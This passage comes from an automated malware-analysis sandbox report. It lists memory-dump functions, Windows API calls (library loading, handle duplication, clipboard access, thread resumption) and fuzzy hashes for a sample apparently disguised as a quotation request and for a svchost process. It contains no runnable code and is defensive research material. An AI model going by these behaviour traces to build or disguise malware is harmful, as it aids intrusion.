Opcode Fuzzy Hash: 2ca4d7e2eee3c0053ff80a07ec8ef862dc2e16e1df9d4259cb34a4d80394a61c
Instruction Fuzzy Hash: 38918435E003199FCB04DBF4D8549EDBBBAFF89314F148665E409AF2A4DB34A945CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00B2F470, Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.821239891.0000000000B20000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 7679f41daaf283e28594546e3187fdf258799bfafe15cf24cecfcbeb2f7daf4d
Instruction ID: 4cab770498c05531cd57bd61192a33e820b8e8f5d295863510368c55dc280152
Opcode Fuzzy Hash: 7679f41daaf283e28594546e3187fdf258799bfafe15cf24cecfcbeb2f7daf4d
Instruction Fuzzy Hash: 16817D35E103199FCB04DBF0D8548DDBBBAFF89314F258665E405AF2A4EB34A985CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00B28968, Relevance: 1.7, APIs: 1, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.821239891.0000000000B20000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 775965c382f22ad37740fae7729d65033df60d336c6f05ebf2b0c56e1df13b52
Instruction ID: 3d25145f27e11fb1811b18326dd8a0279055fe29be1fffa239a4ad1213c9cb3d
Opcode Fuzzy Hash: 775965c382f22ad37740fae7729d65033df60d336c6f05ebf2b0c56e1df13b52
Instruction Fuzzy Hash: 577144B0A01B158FD724DF2AD44579ABBF1FF89304F008A6ED58AD7A00DB34E9468F91

Uniqueness

Uniqueness Score: -1.00%

Function 00B29330, Relevance: 1.7, APIs: 1, Instructions: 161COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00B2B246,?,?,?,?,?), ref: 00B2B307

Memory Dump Source

Source File: 00000000.00000002.821239891.0000000000B20000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 32372c83995e6e843e577503a01f08ef5fada371b36dba523c9a428f73bd5660
Instruction ID: e4b67d80adaddc387090356c927aa2925dced42b3e1c471386f28413d17cee35
Opcode Fuzzy Hash: 32372c83995e6e843e577503a01f08ef5fada371b36dba523c9a428f73bd5660
Instruction Fuzzy Hash: 8961AC719042598FCB10CF98D880AEEBBF5FF44310F658599E429AB351D334F945CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00B2CFB4, Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00B2F28A

Memory Dump Source

Source File: 00000000.00000002.821239891.0000000000B20000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: a67166b0ef07d036e5b5b508efb446ea48763220836a65c4c05e560c92532c32
Instruction ID: c5e8d51e4f04694eebc209a0e55a70124df2b088188828cac4cba89ecd1f2512
Opcode Fuzzy Hash: a67166b0ef07d036e5b5b508efb446ea48763220836a65c4c05e560c92532c32
Instruction Fuzzy Hash: 1751B0B1D00319DFDB14CF99D884AEEBBB5FF48314F24826AE819AB210D7749945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00B2F16C, Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00B2F28A

Memory Dump Source

Source File: 00000000.00000002.821239891.0000000000B20000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: f3b08678e011d90791cb1daf9c2e9ea12b5d77fee1174730befe27dcc34ec8ce
Instruction ID: 6a56e4cc2d06e44cfd80ddc60e1b276d885a0255bf12bd7d3ce159680934054c
Opcode Fuzzy Hash: f3b08678e011d90791cb1daf9c2e9ea12b5d77fee1174730befe27dcc34ec8ce
Instruction Fuzzy Hash: 6651BEB5D00319DFDB14CFA9D880ADDBBB1BF48314F24826AE819AB210D774A985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00B27520, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0000004B), ref: 00B274CD

Memory Dump Source

Source File: 00000000.00000002.821239891.0000000000B20000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: false

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: a2c89a3be0be840bbec50c1e675bdc30cb7fc55078bffb35a096c268a85ac699
Instruction ID: d6db68595577c815842a5118a7a49a343b0127b98208e79e09fcae388940fc32
Opcode Fuzzy Hash: a2c89a3be0be840bbec50c1e675bdc30cb7fc55078bffb35a096c268a85ac699
Instruction Fuzzy Hash: 8D31F7738057929BE7118B58EC553D67FF0DF22324F0844A9C589A7343E639D54AC791

Uniqueness

Uniqueness Score: -1.00%

Function 00B29324, Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00B2B246,?,?,?,?,?), ref: 00B2B307

Memory Dump Source

Source File: 00000000.00000002.821239891.0000000000B20000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c4e83fcd4d36dbcb39d9943519d24c1a9ef7bb56a0ec213eb4e5bc891e0d0241
Instruction ID: 30db3abd248734562d849b8d73723e603fee24e7fca0275b7b5c3f27196b791f
Opcode Fuzzy Hash: c4e83fcd4d36dbcb39d9943519d24c1a9ef7bb56a0ec213eb4e5bc891e0d0241
Instruction Fuzzy Hash: 9A2114B5900218DFDB10CF9AD584AEEBBF8EB48324F14845AE918B3310D778A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00B2B278, Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00B2B246,?,?,?,?,?), ref: 00B2B307

Memory Dump Source

Source File: 00000000.00000002.821239891.0000000000B20000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c1593971c7c9946714a4625d3691bc287dfecbd98316c4bfc522f88df86b6b10
Instruction ID: e2888b4a75044c113a6e654c2c36cb5a5ee106fff1cd5a8f5130c6e944dc3648
Opcode Fuzzy Hash: c1593971c7c9946714a4625d3691bc287dfecbd98316c4bfc522f88df86b6b10
Instruction Fuzzy Hash: 8421E5B59012089FDB10CF99D584ADEBBF4FF48324F14841AE958A3710D778A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00B27D18, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,00B28C29,00000800,00000000,00000000), ref: 00B28E3A

Memory Dump Source

Source File: 00000000.00000002.821239891.0000000000B20000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1e29f24b69404df7d581fa54379240b77e8dea5cf131946a882095da874f1ae9
Instruction ID: 8065d8b0df8580960d080ec7a20fc65f03725541b35e6e777c25a679c2c96b15
Opcode Fuzzy Hash: 1e29f24b69404df7d581fa54379240b77e8dea5cf131946a882095da874f1ae9
Instruction Fuzzy Hash: 901106B69002188FDB10DF9AD444BEEBBF4EB48324F11846EE519B7600C774A949CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00B28DC8, Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,00B28C29,00000800,00000000,00000000), ref: 00B28E3A

Memory Dump Source

Source File: 00000000.00000002.821239891.0000000000B20000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 014271d3af3c4aee7ba6e5c2f2351ffcf65b0dbf8c3c9482c392a63b4d3d42c2
Instruction ID: 95323c6b6d841f0c7bdd31e8e265bc5beac4feb3032571ce918f716afa2fca20
Opcode Fuzzy Hash: 014271d3af3c4aee7ba6e5c2f2351ffcf65b0dbf8c3c9482c392a63b4d3d42c2
Instruction Fuzzy Hash: DD1103B28003089FCB10DF9AD444ADEFBF4EB89324F10842ED459B7600C779A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00B27CB0, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,00B2897B), ref: 00B28BAE

Memory Dump Source

Source File: 00000000.00000002.821239891.0000000000B20000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 76fb531ce7c7dc88387dddea402ef75d049acdebb6297a6518522d417da0a5bb
Instruction ID: cc564de111fa60a4f91b06e40d8c7d8d9b8e288dbe53f46bf0a30326c26219a5
Opcode Fuzzy Hash: 76fb531ce7c7dc88387dddea402ef75d049acdebb6297a6518522d417da0a5bb
Instruction Fuzzy Hash: A21120B28002588FCB10CF9AD448BDEFBF4EB88324F10845ED919B7600C779A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B27468, Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0000004B), ref: 00B274CD

Memory Dump Source

Source File: 00000000.00000002.821239891.0000000000B20000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: false

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: d14f31f489a1096d1117b6117a0e01b8b14b913200fef5d7ff95de2f2d9d3d80
Instruction ID: 5ae9f19993e958cb5d028103482d32bc3f917ed79ab684ac9a5f70acf0937b16
Opcode Fuzzy Hash: d14f31f489a1096d1117b6117a0e01b8b14b913200fef5d7ff95de2f2d9d3d80
Instruction Fuzzy Hash: E511DD718043998FDB11DF99D0047EABFF4EB04324F148499D59AB3742C778AA08CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00B27458, Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0000004B), ref: 00B274CD

Memory Dump Source

Source File: 00000000.00000002.821239891.0000000000B20000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: false

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: e23c72439d04caa3590f886c48f3a6037740d0395511fa1b8e48dd7d0b5e13ff
Instruction ID: 3e6dd6b15d190dccafd89d22f7b5ac98fa49320b8d22859ec081e85d1322b7af
Opcode Fuzzy Hash: e23c72439d04caa3590f886c48f3a6037740d0395511fa1b8e48dd7d0b5e13ff
Instruction Fuzzy Hash: D4119A718083958FDB01CF94D4043EABFF0EB14318F148499C596A7682C7399A09CBA6

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00B2DA00, Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.821239891.0000000000B20000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6a1b0e3c2e2d09987f6cb92a691947a36aa2c8c28001fac5c51cd52be93ca10
Instruction ID: 1704cd4cc8154b776f7ad8ecb538d77cc360b506cdb08a3f904e9223df4a11bf
Opcode Fuzzy Hash: b6a1b0e3c2e2d09987f6cb92a691947a36aa2c8c28001fac5c51cd52be93ca10
Instruction Fuzzy Hash: F112A3B1412B46EBD324CF65E8981C93FA1F745328F91C209D2612FAD2D7BC196ACF94

Uniqueness

Uniqueness Score: -1.00%

Function 00B2B184, Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.821239891.0000000000B20000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f53f8a17c22328f2b85ef05cc459988ddd87a46e625284c977e6874d252002a
Instruction ID: 856120e4dc5af6b13c55782def288164dd466fa30c4588bf3ad85c08dc72bcac
Opcode Fuzzy Hash: 6f53f8a17c22328f2b85ef05cc459988ddd87a46e625284c977e6874d252002a
Instruction Fuzzy Hash: 44A16C32E00629CFCF05DFA5D8445DEBBF2FF85300B1585AAE909BB221EB35A915CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00B2D9F0, Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.821239891.0000000000B20000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1efcef7f0259610e5a5ea8a7df595fcbacbf2f3579e93cdd925daf9add252c87
Instruction ID: 0020489665029675e44d91c20e2436dea7ada5cb172264b28ed1e8d25a972d42
Opcode Fuzzy Hash: 1efcef7f0259610e5a5ea8a7df595fcbacbf2f3579e93cdd925daf9add252c87
Instruction Fuzzy Hash: 37C136B1812746EBD320CF64E8881C97FA1FB85328F51C309D1616BAD2D7BC196ACF94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: REQUEST FOR QUOTATION 4675674665.exe PID: 4284 Parent PID: 6976 REQUEST FOR QUOTATION 4675674665.exeCOMMON

Executed Functions

Function 060631A0, Relevance: 9.2, APIs: 1, Strings: 3, Instructions: 2163libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 06063E17

Strings

Xck, xrefs: 0606322D
Y, xrefs: 060654C4
Xck, xrefs: 06063223

Memory Dump Source

Source File: 0000000F.00000002.939756669.0000000006060000.00000040.00000001.sdmp, Offset: 06060000, based on PE: false

Similarity

API ID: InitializeThunk
String ID: Xck$Xck$Y
API String ID: 2994545307-2318680076
Opcode ID: 8a10bfe0957fb6f908d04143214595a8248d30ea8763d3de761ef68b180bc466
Instruction ID: 6a1023dbc74ed65e3fe549d3a23894b8d7d0a99209acf2ff6188dd0cf63701e7
Opcode Fuzzy Hash: 8a10bfe0957fb6f908d04143214595a8248d30ea8763d3de761ef68b180bc466
Instruction Fuzzy Hash: 84232B70D106198FCB65EF69C854A9EFBB1FF89304F10C699E459AB251EB70AAC4CF40

Uniqueness

Uniqueness Score: -1.00%

Function 06066248, Relevance: 1.6, APIs: 1, Instructions: 84libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 06066267

Memory Dump Source

Source File: 0000000F.00000002.939756669.0000000006060000.00000040.00000001.sdmp, Offset: 06060000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2b46e56ff9924394611284cd011936a82aa69c4cf4472be88ff6eb1ef67c2613
Instruction ID: 6cf902b9fe914237048bd09871e26b5666483e467cc12dae3749a729764ff506
Opcode Fuzzy Hash: 2b46e56ff9924394611284cd011936a82aa69c4cf4472be88ff6eb1ef67c2613
Instruction Fuzzy Hash: 78315374A102199BDB04CF96D5C0A9DFBB2BF84314F25C258E4006B285D776AD85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 023CDD6D, Relevance: 1.9, APIs: 1, Instructions: 358COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.927980275.00000000023C0000.00000040.00000001.sdmp, Offset: 023C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87aa0d4da55876d8d288b83af43837e3bfb67c38399292ccc08d488fb6441bb6
Instruction ID: 8202c0e90e2c505653209811dc3ad12ef2d6e2422c7984f6ab7a4268042a4142
Opcode Fuzzy Hash: 87aa0d4da55876d8d288b83af43837e3bfb67c38399292ccc08d488fb6441bb6
Instruction Fuzzy Hash: 25E10734A00201CFD768AB74EA1D75A7BB2FF84312F24856AE407CB6A0DF799D45DB60

Uniqueness

Uniqueness Score: -1.00%

Function 06065F00, Relevance: 1.7, APIs: 1, Instructions: 205COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(000000FF), ref: 06066124

Memory Dump Source

Source File: 0000000F.00000002.939756669.0000000006060000.00000040.00000001.sdmp, Offset: 06060000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 9f46ac54e60a2c3837b74261593111898b5462b4a487745f19a208cd3af8612f
Instruction ID: 2796e2d28efb80d38acd2e6d2cd5332eb569f552bafa790a07990ee7a8ad5e8d
Opcode Fuzzy Hash: 9f46ac54e60a2c3837b74261593111898b5462b4a487745f19a208cd3af8612f
Instruction Fuzzy Hash: 7E71F130A04244DFDB55DF79D8846DEBBF2BF85314F24806AE444AB381CB369C86CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 023CE17D, Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023CE242

Memory Dump Source

Source File: 0000000F.00000002.927980275.00000000023C0000.00000040.00000001.sdmp, Offset: 023C0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 730e6c5e6f6bdd352b289f4d0bc423e803a73e5b0e467636305e486fc713e29f
Instruction ID: bac9545eeade7038d47e7337c4fa8038964bcbb6387b3fbcef972fbe555d8385
Opcode Fuzzy Hash: 730e6c5e6f6bdd352b289f4d0bc423e803a73e5b0e467636305e486fc713e29f
Instruction Fuzzy Hash: 9B411E34620110CFC7A87B70FE1D21C3BA2FF5920275055AAE907D29A4EB7A4C56EB71

Uniqueness

Uniqueness Score: -1.00%

Function 023CE174, Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023CE242

Memory Dump Source

Source File: 0000000F.00000002.927980275.00000000023C0000.00000040.00000001.sdmp, Offset: 023C0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 0ea98a61f9f01f913cae0d986d2ad1b7027630bb5e76ec8dd2c559164a58cce8
Instruction ID: 7440915e55d5bc124f732abf60af5fa59a09d9628dc7d246e67af47fc32ede45
Opcode Fuzzy Hash: 0ea98a61f9f01f913cae0d986d2ad1b7027630bb5e76ec8dd2c559164a58cce8
Instruction Fuzzy Hash: 58411F34620110CFC7A87B70FF0D61D3BA6FB59202B5055A6E507D2974EB7A4C56EB31

Uniqueness

Uniqueness Score: -1.00%

Function 023CE1B8, Relevance: 1.6, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023CE242

Memory Dump Source

Source File: 0000000F.00000002.927980275.00000000023C0000.00000040.00000001.sdmp, Offset: 023C0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 7d8362f6f61679cab513276e3cd0370c5056d1778f1d0fc432216780557a30b7
Instruction ID: 14adfbc871c5221780e3c6d3f57e21e7237fbc1a29484eaf618e07bfa973eb79
Opcode Fuzzy Hash: 7d8362f6f61679cab513276e3cd0370c5056d1778f1d0fc432216780557a30b7
Instruction Fuzzy Hash: 3A410C35620110CFC7A87B70FF1E21D3BA2FB5920376055A6E507C29A4EB7A4C96EB31

Uniqueness

Uniqueness Score: -1.00%

Function 0605EB7C, Relevance: 1.6, APIs: 1, Instructions: 83comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 0605EC10

Memory Dump Source

Source File: 0000000F.00000002.939669028.0000000006050000.00000040.00000001.sdmp, Offset: 06050000, based on PE: false

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: cf09aefbabf6a8f90e7c67ab01c4d44e63f717165492049d7ea1fbe592fa2313
Instruction ID: 305641f1e63fb1a116c1eb3af00659479a93aa5d75df30ae0ccc39be9fb1d41d
Opcode Fuzzy Hash: cf09aefbabf6a8f90e7c67ab01c4d44e63f717165492049d7ea1fbe592fa2313
Instruction Fuzzy Hash: 7F3146B0D00248DFDB54CF98D985BDEBFF1AB48328F248459E448BB380D7749946CB61

Uniqueness

Uniqueness Score: -1.00%

Function 023CE1EE, Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023CE242

Memory Dump Source

Source File: 0000000F.00000002.927980275.00000000023C0000.00000040.00000001.sdmp, Offset: 023C0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 5052e986f7dfee26b8516fc6b293545b8d654edabde880bdc86b5a004c211dc0
Instruction ID: 237da48199afcf975c8e4d78af57389c2d8547b8a52591495dd1a5e6a57c359b
Opcode Fuzzy Hash: 5052e986f7dfee26b8516fc6b293545b8d654edabde880bdc86b5a004c211dc0
Instruction Fuzzy Hash: 8141FB35620110CFC7A87B70FF1E25D3BA1FB5820376099A6E506C29A4DB7E4C96EB31

Uniqueness

Uniqueness Score: -1.00%

Function 023CE22A, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023CE242

Memory Dump Source

Source File: 0000000F.00000002.927980275.00000000023C0000.00000040.00000001.sdmp, Offset: 023C0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: e2ec6fcd32498d19d2b5a45013f5c1a0e037f84f2df9568bf1fee6dd49f00203
Instruction ID: b16c84c7de85487f77931e149f3327d5845c78006038d18f58568db06048eb2b
Opcode Fuzzy Hash: e2ec6fcd32498d19d2b5a45013f5c1a0e037f84f2df9568bf1fee6dd49f00203
Instruction Fuzzy Hash: 6A31FA35520010CFC7A87B70FB1E25D3F61FB5860376095A7E90AD28A4CBAE0C92AB71

Uniqueness

Uniqueness Score: -1.00%

Function 0605E67C, Relevance: 1.6, APIs: 1, Instructions: 74comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 0605EC10

Memory Dump Source

Source File: 0000000F.00000002.939669028.0000000006050000.00000040.00000001.sdmp, Offset: 06050000, based on PE: false

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: c49cf04321128f2f7c73f1b984223b53ac4d3e3b652ca69095c390590dff4881
Instruction ID: d538d8ecdf1b367ec6186557aa740e983a61de260a23e6c3282e1c9c0b15837d
Opcode Fuzzy Hash: c49cf04321128f2f7c73f1b984223b53ac4d3e3b652ca69095c390590dff4881
Instruction Fuzzy Hash: CA3103B0D00208DFDB54CF98C585BDEBFF5AB48318F258459E408BB390D7B4A946CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05C094D0, Relevance: 1.6, APIs: 1, Instructions: 56comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 05C09D55

Memory Dump Source

Source File: 0000000F.00000002.938345042.0000000005C00000.00000040.00000001.sdmp, Offset: 05C00000, based on PE: false

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 3c0db8c70a43f43bbbfd18ce9d721c8d47b3161275e34dc63c18b03cbb67b6ea
Instruction ID: 23aab28860d3b0b2015abae4747465e500345142d78351cc99227e2c5bbf82c4
Opcode Fuzzy Hash: 3c0db8c70a43f43bbbfd18ce9d721c8d47b3161275e34dc63c18b03cbb67b6ea
Instruction Fuzzy Hash: C4118EB58043488FCB10DF99D484BDEBBF4EF49228F24885AD059B7B40D778A549CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 05C01588, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,00000000,?,05C03B59,00000800), ref: 05C03C1A

Memory Dump Source

Source File: 0000000F.00000002.938345042.0000000005C00000.00000040.00000001.sdmp, Offset: 05C00000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b7f4d1c151a7b80992b949db59fd801993f0a48479486b54b83efe1a2995f6b6
Instruction ID: 94b3edef8ce6be9df34bcb92a8ba96abac5f08db62cec4d04a339d158d7150b1
Opcode Fuzzy Hash: b7f4d1c151a7b80992b949db59fd801993f0a48479486b54b83efe1a2995f6b6
Instruction Fuzzy Hash: 291136B28002488FDB10CF9AC444BDEBBF4EB48724F10885EE419B7640C778A544CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 05C03BA8, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,00000000,?,05C03B59,00000800), ref: 05C03C1A

Memory Dump Source

Source File: 0000000F.00000002.938345042.0000000005C00000.00000040.00000001.sdmp, Offset: 05C00000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ea22bcd67f57f1fec44be58fe884b15dd03338de9735020ecee32d305294d08a
Instruction ID: 24e04f753fe2d9d441461dcdaf168cac641959c83648e27355f79c41cafb4450
Opcode Fuzzy Hash: ea22bcd67f57f1fec44be58fe884b15dd03338de9735020ecee32d305294d08a
Instruction Fuzzy Hash: 481130B28002488FDB10CF9AC844BDEBBF4EB48324F14882AE419B7640C378A645CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05C094EC, Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 05C09D55

Memory Dump Source

Source File: 0000000F.00000002.938345042.0000000005C00000.00000040.00000001.sdmp, Offset: 05C00000, based on PE: false

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 639815d4896c1db77f94d0d965d4fd167385965df7a43a8611b9ea5536ff6698
Instruction ID: 714d26ed14797fdb0f55572f6a14d10f9441783a080ff2a2882661f5cc6dd48a
Opcode Fuzzy Hash: 639815d4896c1db77f94d0d965d4fd167385965df7a43a8611b9ea5536ff6698
Instruction Fuzzy Hash: 741127B19043488FDB20CF99D449BDEBBF8EB48324F208459E519B7750C778A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0605C698, Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 0605C6FD

Memory Dump Source

Source File: 0000000F.00000002.939669028.0000000006050000.00000040.00000001.sdmp, Offset: 06050000, based on PE: false

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: adb66e26681e1adeef078359a759802886e9e1954d5e3aa98675e575545798eb
Instruction ID: 0119c9738e80307a72bf6e47ac81b3d5307d8420d2f795fffc1a05055adb0bfb
Opcode Fuzzy Hash: adb66e26681e1adeef078359a759802886e9e1954d5e3aa98675e575545798eb
Instruction Fuzzy Hash: 6C1110B5C002488FDB20CF99E584BDEFBF4AB08324F10845AD418B3600C338A549CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0605C6A0, Relevance: 1.5, APIs: 1, Instructions: 43windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 0605C6FD

Memory Dump Source

Source File: 0000000F.00000002.939669028.0000000006050000.00000040.00000001.sdmp, Offset: 06050000, based on PE: false

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: c0671dc647d49ef393b055fc33214ff337bb7fe9ea8306c90874980a61dce140
Instruction ID: 597546f6743a4d6252d135d26f5257da441c48fa94417c523b78ecd166798eef
Opcode Fuzzy Hash: c0671dc647d49ef393b055fc33214ff337bb7fe9ea8306c90874980a61dce140
Instruction Fuzzy Hash: 7811CEB5C007498FDB20CF9AD484BDEBBF4EB48324F14855AD819B3650D778A544CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 06066238, Relevance: 1.5, APIs: 1, Instructions: 42libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 06066267

Memory Dump Source

Source File: 0000000F.00000002.939756669.0000000006060000.00000040.00000001.sdmp, Offset: 06060000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 425678a02cb74cf154731d85d97281701ff1fde8e66e699bda38c37aaf75bb4a
Instruction ID: ad321f3e4f2979c3f6c6729b12a44879249667eaa59a3b25a70f8a3c3be76851
Opcode Fuzzy Hash: 425678a02cb74cf154731d85d97281701ff1fde8e66e699bda38c37aaf75bb4a
Instruction Fuzzy Hash: A4017C71E01208AFDB44DB9AE588ACEFFB6EB88320F208129E40067201C771AC44CF91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: svchost.exe PID: 4556 Parent PID: 5660 svchost.exeCOMMON

Executed Functions

Function 00E27FBA, Relevance: 1.9, APIs: 1, Instructions: 351threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 00E27F7A

Memory Dump Source

Source File: 00000015.00000002.921964360.0000000000E20000.00000040.00000001.sdmp, Offset: 00E20000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 704e30a047c79ce60f5bd4a5a92f80dfcb779cecf81f9db6b06d9cfd6728d46b
Instruction ID: d739572f1ad72edcaa6f1509fb163994b88cdc8f89e0e9ec1a4bd29d918e80e7
